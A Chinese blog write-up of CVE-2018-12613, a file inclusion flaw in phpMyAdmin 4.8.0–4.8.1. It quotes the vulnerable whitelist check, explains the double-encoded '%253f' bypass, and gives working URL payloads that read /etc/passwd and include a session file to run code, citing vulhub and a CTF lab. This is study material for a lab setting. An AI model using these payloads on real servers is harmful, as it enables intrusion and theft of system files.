热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

CVE201812613(phpmyadmin4.8.1远程文件包含漏洞)

phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)


phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。


0x01 影响范围

phpMyAdmin 4.8.0 and 4.8.1 are affected.

0x02 原理

漏洞代码

$target_blacklist = array ('import.php', 'export.php'
);// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])&& is_string($_REQUEST['target']) // 得是字符串&& ! preg_match('/^index/', $_REQUEST['target']) // 不能以index开头&& ! in_array($_REQUEST['target'], $target_blacklist) // 不能是import.php,export.php&& Core::checkPageValidity($_REQUEST['target']) // 返回为true
) {include $_REQUEST['target'];exit;
}

对传入参数target进行限制,存在文件包含的危险,
只要绕过checkPageValidity函数,就能实现文件包含。
checkPageValidity函数代码:

public static function checkPageValidity(&$page, array $whitelist = []){if (empty($whitelist)) {$whitelist = self::$goto_whitelist;}if (! isset($page) || !is_string($page)) {return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}return false;}



  • 如果传入的target在$whitelist = self::$goto_whitelist;的白名单里,返回true 白名单有

'db_datadict.php','db_sql.php','db_events.php','db_export.php','db_importdocsql.php','db_multi_table_query.php','db_structure.php','db_import.php','db_operations.php','db_search.php','db_routines.php','export.php','import.php','index.php','pdf_pages.php','pdf_schema.php','server_binlog.php','server_collations.php','server_databases.php','server_engines.php','server_export.php','server_import.php','server_privileges.php','server_sql.php','server_status.php','server_status_advisor.php','server_status_monitor.php','server_status_queries.php','server_status_variables.php','server_variables.php','sql.php','tbl_addfield.php','tbl_change.php','tbl_create.php','tbl_import.php','tbl_indexes.php','tbl_sql.php','tbl_export.php','tbl_operations.php','tbl_structure.php','tbl_relation.php','tbl_replace.php','tbl_row_action.php','tbl_select.php','tbl_zoom_select.php','transformation_overview.php','transformation_wrapper.php','user_password.php'



  • 这是截取传入参数“?”前的字符串,如果截取后的文件名在白名单里,返回true

    $_page = mb_substr($page,0,mb_strpos($page . '?', '?'));




  • 对输入参数进行url解码,再进行截取,判断是否在白名单里,这里就存在构造payload

    $_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));

payload:?target=db_sql.php%253f/../../../../../../xxxx
服务器默认会进行一次url解码,那么%253f就会被解码为%3f,再进行url二次解码后为"?",在进行截取时是db_sql.php?/../../../../../../xxxx?,这样只会截取db_sql.php,是白名单,但最后文件包含的target参数内容是db_sql.php%3f/../../../../../../xxxx ,包含的文件为../../../../../../xxxx

0x03 漏洞利用


  1. 检测是否存在漏洞(不唯一)
    payload:http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
    若passwd文件被读取,则存在漏洞。
    在这里插入图片描述
  2. 查询数据库路径 show global variables like "%datadir%"
    在这里插入图片描述
  3. 通过包含session临时文件来实现
    执行SELECT '';
    查看session值
    在这里插入图片描述
    payload:?target=db_sql.php%253f/../../../../../../../../tmp/sess_a20b482402ef018b8e711c7d22891c7b
    在这里插入图片描述执行成功

0x04 环境复现


  • vulhub

  • buuoj:[GWCTF 2019]我有一个数据库


0x05 参考

https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md


推荐阅读
  • 个人学习使用:谨慎参考1Client类importcom.thoughtworks.gauge.Step;importcom.thoughtworks.gauge.T ... [详细]
  • Python正则表达式学习记录及常用方法
    本文记录了学习Python正则表达式的过程,介绍了re模块的常用方法re.search,并解释了rawstring的作用。正则表达式是一种方便检查字符串匹配模式的工具,通过本文的学习可以掌握Python中使用正则表达式的基本方法。 ... [详细]
  • 开发笔记:Java是如何读取和写入浏览器Cookies的
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了Java是如何读取和写入浏览器Cookies的相关的知识,希望对你有一定的参考价值。首先我 ... [详细]
  • 本文介绍了Java后台Jsonp处理方法及其应用场景。首先解释了Jsonp是一个非官方的协议,它允许在服务器端通过Script tags返回至客户端,并通过javascript callback的形式实现跨域访问。然后介绍了JSON系统开发方法,它是一种面向数据结构的分析和设计方法,以活动为中心,将一连串的活动顺序组合成一个完整的工作进程。接着给出了一个客户端示例代码,使用了jQuery的ajax方法请求一个Jsonp数据。 ... [详细]
  • 微信官方授权及获取OpenId的方法,服务器通过SpringBoot实现
    主要步骤:前端获取到code(wx.login),传入服务器服务器通过参数AppID和AppSecret访问官方接口,获取到OpenId ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • PHP图片截取方法及应用实例
    本文介绍了使用PHP动态切割JPEG图片的方法,并提供了应用实例,包括截取视频图、提取文章内容中的图片地址、裁切图片等问题。详细介绍了相关的PHP函数和参数的使用,以及图片切割的具体步骤。同时,还提供了一些注意事项和优化建议。通过本文的学习,读者可以掌握PHP图片截取的技巧,实现自己的需求。 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • Commit1ced2a7433ea8937a1b260ea65d708f32ca7c95eintroduceda+Clonetraitboundtom ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • springmvc学习笔记(十):控制器业务方法中通过注解实现封装Javabean接收表单提交的数据
    本文介绍了在springmvc学习笔记系列的第十篇中,控制器的业务方法中如何通过注解实现封装Javabean来接收表单提交的数据。同时还讨论了当有多个注册表单且字段完全相同时,如何将其交给同一个控制器处理。 ... [详细]
  • 本文介绍了PE文件结构中的导出表的解析方法,包括获取区段头表、遍历查找所在的区段等步骤。通过该方法可以准确地解析PE文件中的导出表信息。 ... [详细]
  • C++字符字符串处理及字符集编码方案
    本文介绍了C++中字符字符串处理的问题,并详细解释了字符集编码方案,包括UNICODE、Windows apps采用的UTF-16编码、ASCII、SBCS和DBCS编码方案。同时说明了ANSI C标准和Windows中的字符/字符串数据类型实现。文章还提到了在编译时需要定义UNICODE宏以支持unicode编码,否则将使用windows code page编译。最后,给出了相关的头文件和数据类型定义。 ... [详细]
  • 本文详细介绍了使用C#实现Word模版打印的方案。包括添加COM引用、新建Word操作类、开启Word进程、加载模版文件等步骤。通过该方案可以实现C#对Word文档的打印功能。 ... [详细]
  • Ihaveaworkfolderdirectory.我有一个工作文件夹目录。holderDir.glob(*)>holder[ProjectOne, ... [详细]
author-avatar
老爷们白百合开在秋天
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有